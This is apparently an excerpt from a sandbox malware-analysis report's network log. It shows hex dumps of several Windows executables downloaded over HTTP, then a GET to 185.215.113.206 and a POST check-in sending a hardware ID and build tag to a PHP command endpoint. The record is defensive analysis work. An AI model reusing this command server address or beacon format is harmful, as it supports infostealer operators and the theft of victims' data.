0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 06:59:13 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 06:59:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 06:59:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 06:59:17 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 06:59:19 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 06:59:19 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKECHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 36 41 32 43 32 33 42 39 33 30 31 33 39 39 36 30 39 33 33 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="hwid"A46A2C23B9301399609336------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="build"puma------JDHJKKFBAEGDGDGCBKEC--
